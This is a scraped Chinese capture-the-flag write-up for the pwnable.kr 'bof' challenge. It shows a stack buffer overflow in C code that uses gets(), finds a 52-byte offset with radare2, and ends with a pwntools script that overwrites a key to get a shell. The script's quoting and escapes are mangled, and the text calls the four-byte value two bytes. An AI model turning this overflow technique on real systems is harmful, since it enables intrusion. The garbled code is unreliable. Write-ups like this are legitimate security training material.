加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 大数据 > 正文

pwnable.kr第三题:bof

发布时间:2020-12-14 04:40:13 所属栏目:大数据 来源:网络整理
导读:0x000查看源码 打开bof.c文件 1 #include stdio.h 2 #include string .h 3 #include stdlib.h 4 void func( int key){ 5 char overflowme[ 32 ]; 6 printf( " overflow me : " ); 7 gets(overflowme); // smash me! 8 if (key == 0xcafebabe ){ 9 system( "

0x000查看源码

打开bof.c文件

 1 #include <stdio.h>
 2 #include <string.h>
 3 #include <stdlib.h>
 4 void func(int key){
 5     char overflowme[32];
 6     printf("overflow me : ");
 7     gets(overflowme);    // smash me!
 8     if(key == 0xcafebabe){
 9         system("/bin/sh");
10     }
11     else{
12         printf("Nah..n");
13     }
14 }
15 int main(int argc,char* argv[]){
16     func(0xdeadbeef);
17     return 0;
18 }

?

源码分析:

  要想执行第9行的“system("/bin/sh")”,程序会先判断key的值是否为0xcafebabe,现在最关键的地方就是找到key的位置,并将地址的内容覆盖为0xcafebabe。

0x001分析汇编代码

  使用radare2分析汇编代码:

  

?

?

????? 查看main函数

??????

?

?

?查看func

?

?

?分析程序可知,用户输入的地址为var int local_2ch @ ebp-0x2c,key存放的地址为arg unsigned int arg_8h @ ebp+0x8,现在,要做的就是计算用户输入的地址到key存放的地址之间相差多少字节,0x8+0x2c,化为十进制结果为52,所以在这段距离中填充任意字符,然后再填充两个字节0xcafebabe,就可以获得一个shell了。

0x002 脚本编写

from pwn import *

pwn_socket=remote(pwnable.kr,9000)
pwn_socket.sendline(a*52+xbexbaxfexca)
pwn_socket.interactive()

运行即可获得一个shell:

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读